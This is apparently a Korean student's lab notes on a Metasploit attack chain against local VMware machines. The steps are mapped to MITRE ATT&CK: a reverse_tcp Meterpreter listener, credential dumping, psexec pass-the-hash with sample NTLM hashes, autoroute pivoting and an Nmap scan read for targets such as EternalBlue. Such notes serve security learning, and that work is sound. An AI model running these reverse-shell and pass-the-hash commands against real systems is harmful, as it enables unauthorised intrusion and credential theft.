[Metasploit] 공격 list

0. 세션연결

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.86.130
set LPORT 4444

exploit

 

1. Exploit 취약점 공격 (T1203: Exploitation for Client Execution)

• 목적: 클라이언트 측 소프트웨어나 시스템의 취약점을 이용하여 악성 코드를 실행.
• 과정:

[과정]

1.

set RHOST <타겟 IP 주소>

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST <공격자 IP 주소>

set LPORT <공격자 포트>

 

set RHOSTS 192.168.86.134

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.86.130
set LPORT 4444

exploit

 

2. T1003: Credential Dumping (크리덴셜 덤프)

• 목적:  타겟 시스템의 사용자 계정 크리덴셜을 덤프하여 해시나 패스워드를 추출
• 단계: 활성화된 Meterperter 세션을 통해 사용자 계정의 패스워드 해시 값을 덤프한다. 덤프된 해시 값을 사용하여 Pass the Hash와 같은 후속 공격을 시도할 수 있어 유용하다.

 

 

3. Pass the Hash 공격 (T1075: Pass the Hash)

• 목적: 해시된 크리덴셜을 사용하여 인증을 우회.(덤프 후속 공격)
• 단계: 타겟 시스템에서 해시를 덤프한 후, 해당 해시를 이용하여 다른 시스템에 접근

use exploit/windows/smb/psexec

set SMBUser <사용자명>

set SMBPass <해시 값>

set RHOST <타겟 IP>

exploit

 

use exploit/windows/smb/psexec

set SMBUser Administrator

set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

set RHOSTS 192.168.86.134

exploit

 

set SMBUser honge

set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

set RHOSTS 192.168.86.134

exploit

 

set SMBUser jjh

set SMBPass aad3b435b51404eeaad3b435b51404ee:5c897c5cae4fea0eabdaf0cb41fc1dd9

set RHOSTS 192.168.86.134

exploit

 

SMB 이슈로 이건 보류!^^

 

 

 

T1059: Command and Scripting Interpreter (명령 및 스크립팅 인터프리터)

• 목적: 타겟 시스템에서 명령을 실행하거나 스크립트를 실행
• 단계:
  1. shell 명령어를 사용하여 타겟 시스템에서 커맨드 프롬프트에 직접 접근할 수 있다

 

 

 

 

 

 

네트워크 탐색 및 공격 기법

1. 네트워크 설정 확인 (T1016: System Network Configuration Discovery)

• 목적: 타겟 시스템의 네트워크 설정을 확인하여, 타겟이 속한 네트워크의 구조와 IP 범위를 파악
• 단계:
  1. Meterpreter 세션에서 다음 명령어를 사용해 네트워크 설정을 확인

타겟 시스템의 IP 주소, 서브넷, 게이트웨이 등 네트워크 설정 정보를 확인할 수 있

 

2. 네트워크 호스트 탐색 (T1046: Network Service Scanning)

• 목적: 네트워크 내 다른 호스트를 찾고, 해당 호스트에서 실행 중인 서비스를 식별하여 공격 가능한 대상이 있는지 확인

타겟 네트워크 내에서 다른 호스트로 이동할 수 있도록 라우팅을 설정

1. Meterpreter에서 run post/multi/manage/autoroute 명령어를 사용하여 타겟 네트워크 내에서 다른 호스트로 이동할 수 있도록 라우팅 설정

현재 autoroute 모듈을 사용하여 타겟 시스템의 서브넷에 대한 라우트를 성공적으로 추가한 상태다.

이로 인해, 타겟 시스템이 속한 192.168.86.0/24 서브넷과 Bluetooth 네트워크인 169.254.0.0/16 서브넷에 대한 경로가 설정되었다

 

 

2. Nmap을 사용하여 네트워크 상의 다른 호스트를 스캔할 수 있다.

Meterpreter 내에서 Nmap 스캔을 실행하려면, Meterpreter 세션을 유지한 상태에서 공격자 시스템의 터미널에서 실행해야 한다.

설정된 라우트에 따라 네트워크 상의 다른 호스트를 탐색하고, 열려 있는 포트를 스캔할 수 있게 된다!!

 

서브넷 스캔해야 됨

현재 192.168.86.0/24 네트워크 대역에서 5개의 호스트가 발견되었으며, 각 호스트에서 열린 포트와 실행 중인 서비스가 나와 있다.

Nmap 스캔 결과 해석:

1. 192.168.86.1
   • 상태: 호스트 활성화 (Host is up)
   • 열린 포트:
     • 3306/tcp open mysql: 이 호스트에서는 MySQL 데이터베이스 서비스가 실행 중
   • MAC 주소: 00:50:56:6C:00:08 (VMware 가상 머신)
2. 192.168.86.2
   • 상태: 호스트 활성화
   • 열린 포트:
     • 53/tcp open domain: 이 포트는 DNS(Domain Name System) 서비스가 실행 중
   • MAC 주소: 00:50:56:F4:2F:71 (VMware 가상 머신)
3. 192.168.86.134
   • 상태: 호스트 활성화
   • 열린 포트:
     • 135/tcp open msrpc: Microsoft RPC(Remote Procedure Call) 서비스가 열려 있음
     • 139/tcp open netbios-ssn: NetBIOS 세션 서비스 실행 중
     • 445/tcp open microsoft-ds: SMB(Server Message Block) 서비스도 열려있음. SMB는 파일 공유, 프린터 공유 등에 사용되며, 여러 취약점(CVE-2017-0144 EternalBlue 등)과 연결되어 있음
     • 49152/tcp ~ 49160/tcp open unknown: 이 포트들은 일반적으로 Windows에서 동적으로 할당된 RPC 관련 포트일 가능성이 높다고 함
   • MAC 주소: 00:0C:29:8B:AE:81 (VMware 가상 머신)
4. 192.168.86.254
   • 상태: 호스트 활성화
   • 모든 포트가 응답하지 않음(ignored 상태)
   • MAC 주소: 00:50:56:6C:AB(VMware 가상 머신)
5. 192.168.86.130
   • 상태: 호스트 활성화
   • 열린 포트:
     • 80/tcp open http: HTTP 서비스가 열려 있으므로 웹 서버가 실행 중일 가능성이 있다
   • MAC 주소: (표기되지 않음)

 

주요 공격 대상:

• 192.168.86.134:
  • 이 시스템은 여러 포트가 열려 있고, 특히 SMB(445) 포트와 MSRPC(135) 포트가 열려있음
  • EternalBlue(CVE-2017-0144)와 같은 SMB 취약점을 악용할 수 있는 가능성이 있으며, RPC 포트도 원격 코드 실행 취약점이 존재할 수 있음
• 192.168.86.1:
  • MySQL 서비스가 실행 중인 것으로 보아 MySQL에서 기본적으로 취약한 설정이 있거나 약한 비밀번호로 설정된 경우, SQL Injection 또는 비밀번호 크랙을 시도할 수 있다(이건 다음 기회에..ㅎㅎ)
• 192.168.86.130:
  • HTTP(80) 포트가 열려 있으므로 웹 서버에 대해 취약점 스캔을 시도할 수 있고 특히, 웹 서버가 구버전인 경우 여러 취약점이 있을 수 있다.